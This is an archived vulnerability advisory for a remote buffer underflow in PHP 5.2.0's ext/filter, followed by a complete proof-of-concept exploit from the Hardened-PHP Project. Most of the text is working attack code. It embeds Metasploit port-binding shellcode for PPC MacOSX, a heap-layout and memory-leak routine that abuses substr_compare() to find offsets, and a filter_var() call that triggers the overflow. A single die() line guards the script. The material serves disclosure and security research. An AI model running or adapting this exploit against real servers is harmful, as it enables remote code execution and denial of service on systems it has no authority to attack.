PHP 5.2 - EXT/Filter Function Remote Buffer Overflow

source: https://www.securityfocus.com/bid/22922/info

PHP is prone to a remote buffer-overflow vulnerability because the application fails to perform boundary checks before copying user-supplied data to insufficiently sized memory buffers.

An attacker can exploit this issue to execute arbitrary machine code in the context of the affected webserver. Failed exploit attempts will likely crash the webserver, denying service to legitimate users.

PHP 5.2.0 is reported vulnerable; other versions may also be affected.

This issue was originally reported as an unspecified vulnerability in BID 22496 (PHP Version 5.2.0 and Prior Multiple Vulnerabilities). Due to the availability of more details, this issue is being assigned a new BID. 

<?php
  ////////////////////////////////////////////////////////////////////////
  //  _  _                _                     _       ___  _  _  ___  //
  // | || | __ _  _ _  __| | ___  _ _   ___  __| | ___ | _ \| || || _ \ //
  // | __ |/ _` || '_|/ _` |/ -_)| ' \ / -_)/ _` ||___||  _/| __ ||  _/ //
  // |_||_|\__,_||_|  \__,_|\___||_||_|\___|\__,_|     |_|  |_||_||_|   //
  //                                                                    //
  //         Proof of concept code from the Hardened-PHP Project        //
  //                   (C) Copyright 2007 Stefan Esser                  //
  //                                                                    //
  ////////////////////////////////////////////////////////////////////////
  //    PHP ext/filter Space Trimming Buffer Underflow Vulnerability    //
  ////////////////////////////////////////////////////////////////////////

  // This is meant as a protection against remote file inclusion.
  die("REMOVE THIS LINE");

  // PPC MacOSX Portshell on 4444 from Metasploit
  //     (16 bytes added to make it compatible with unlink exploit)
  $shellcode = "\x48\x00\x00\x10\x60\x00\x00\x00\x60\x00\x00\x00\x60\x00\x00\x00".
      "\x7c\xa5\x2a\x79\x40\x82\xff\xfd\x7f\xe8\x02\xa6\x3b\xff\x07\xfa".
      "\x38\xa5\xf8\x4a\x3c\xc0\x28\x43\x60\xc6\x84\x76\x38\x85\x07\xee".
      "\x7c\x89\x03\xa6\x80\x9f\xf8\x4a\x7c\x84\x32\x78\x90\x9f\xf8\x4a".
      "\x7c\x05\xf8\xac\x7c\xff\x04\xac\x7c\x05\xff\xac\x3b\xc5\x07\xba".
      "\x7f\xff\xf2\x15\x42\x20\xff\xe0\x4c\xff\x01\x2c\x10\x23\x84\x74".
      "\x10\xc3\x84\x77\x10\xe3\x84\x70\x10\x43\x84\x17\x6c\x43\x84\x74".
      "\x54\x43\x86\x0e\x54\x3d\x9f\x0e\x60\x43\x84\x7b\x28\x41\x95\x2a".
      "\x28\x43\x84\x76\x54\xcb\x86\xd0\x10\xe3\x84\x66\x10\x43\x84\x1e".
      "\x57\x80\x77\x0e\x6c\x43\x84\x74\x54\x43\x86\x0e\x10\x43\x84\x1c".
      "\x57\x80\x77\x0e\x6c\x43\x84\x74\x54\x43\x86\x0e\x57\x80\x77\x0e".
      "\x10\x43\x84\x68\x10\xc3\x84\x66\xb8\xc2\x7b\x9e\x10\xe2\x7b\x9e".
      "\x10\xc2\x7b\x86\x6c\x43\x84\x74\x54\x43\x86\x0e\x54\x3d\x9f\x0e".
      "\x10\xe3\x84\x74\x10\x43\x84\x2c\x57\x80\x77\x0e\x54\xe7\xaf\x0e".
      "\x6c\x43\x84\x74\x54\x43\x86\x0e\x10\xe6\x7b\x89\x04\x46\x7b\x89".
      "\x68\xc1\x7b\x93\x10\x43\x84\x34\x6c\x43\x84\x74\x54\x43\x86\x0e".
      "\x54\xe6\xae\x0f\x68\xc1\x7b\x8b\x54\x2b\x86\xd0\x10\x20\x84\x5e".
      "\xb8\x22\x7b\x8e\xb8\xe2\x7b\x8a\x10\xc2\x7b\x8e\x10\x43\x84\x4d".
      "\x54\x43\x80\xda\x6c\x43\x84\x74\x54\x43\x86\x0e\x57\xa3\x84\x7e".
      "\x07\x21\xed\x18\x07\x20\xf7\x1e\x28\x43\x84\x76";

  // Offsets used for the overwrite (will be overwritten by findOffsets()
  $offset_1 = 0x55555555;
  $offset_2 = 0x66666666;

  findOffsets(); // Comment out if you want to just test the crash

  printf("Using offsets %08x and %08x\n", $offset_1, $offset_2);

  // Convert offsets into strings
  $addr1 = pack("L", $offset_1);
  $addr2 = pack("L", $offset_2);
  
  // Memory Alignment stuff
  $v1 = 1;
  $v2 = 2;

  // Block that will contain the fake memory block
  $v1 = str_repeat("B", 0x110-0x14);
  
  // Prepare fake memory header
  $v1[0] = chr(0);
  $v1[1] = chr(0);
  $v1[2] = chr(0);
  $v1[3] = chr(4);

  $v1[8] = $addr1[0];
  $v1[9] = $addr1[1];
  $v1[10] = $addr1[2];
  $v1[11] = $addr1[3];

  $v1[12] = $addr2[0];
  $v1[13] = $addr2[1];
  $v1[14] = $addr2[2];
  $v1[15] = $addr2[3];

  // Heap alignment
  $v2 = str_repeat("A", 400);
  $v2 = str_repeat(" ", 400);

  // Trigger overflow
  filter_var($v2, FILTER_VALIDATE_INT);
  unset($v2);












  // This function uses the substr_compare() vulnerability
  // to get the offsets. In a remote exploit such offsets
  // would get bruteforced
  
  function findOffsets()
  {
    global $offset_1, $offset_2, $shellcode;
    // We need to NOT clear these variables,
    //  otherwise the heap is too segmented
    global $memdump, $d, $arr;
    
    $sizeofHashtable = 39;
    $maxlong = 0x7fffffff;

    // Signature of a big endian Hashtable of size 256 with 1 element
    $search = "\x00\x00\x01\x00\x00\x00\x00\xff\x00\x00\x00\x01";

    $memdump = str_repeat("A", 16000);
    for ($i=0; $i<400; $i++) {
	  $d[$i]=array();
    }
    unset($d[350]);
    $x = str_repeat("\x01", $sizeofHashtable);
    unset($d[351]);
    unset($d[352]);
    $arr = array();
    for ($i=0; $i<129; $i++) { $arr[$i] = 1; }
    $arr[$shellcode] = 1;
    for ($i=0; $i<129; $i++) { unset($arr[$i]); }

    // If the libc memcmp leaks the information use it
    // otherwise we only get a case insensitive memdump
    $b = substr_compare(chr(65),chr(0),0,1,false) != 65;

    for ($i=0; $i<16000; $i++) {
      $y = substr_compare($x, chr(0), $i+1, $maxlong, $b);
      $Y = substr_compare($x, chr(1), $i+1, $maxlong, $b);
      if ($y-$Y == 1 || $Y-$y==1){
        $y = chr($y);
        if ($b && strtoupper($y)!=$y) {
          if (substr_compare($x, $y, $i+1, $maxlong, false)==-1) {
            $y = strtoupper($y);
          }
        }
        $memdump[$i] = $y;
      } else {
  	    $y = substr_compare($x, chr(1), $i+1, $maxlong, $b);
        $Y = substr_compare($x, chr(2), $i+1, $maxlong, $b);
        if ($y-$Y != 1 && $Y-$y!=1){
	      $memdump[$i] = chr(1);
        } else {
          $memdump[$i] = chr(0);
        }   
      }
    }
    
    // Search shellcode and hashtable and calculate memory address
    $pos_shellcode = strpos($memdump, $shellcode);
    $pos_hashtable = strpos($memdump, $search);
    $addr = substr($memdump, $pos_hashtable+6*4, 4);
    $addr = unpack("L", $addr);

    // Fill in both offsets  
    $offset_1 = $addr[1] + 32;
    $offset_2 = $offset_1 - $pos_shellcode + $pos_hashtable + 8*4 - 8;
  }

?>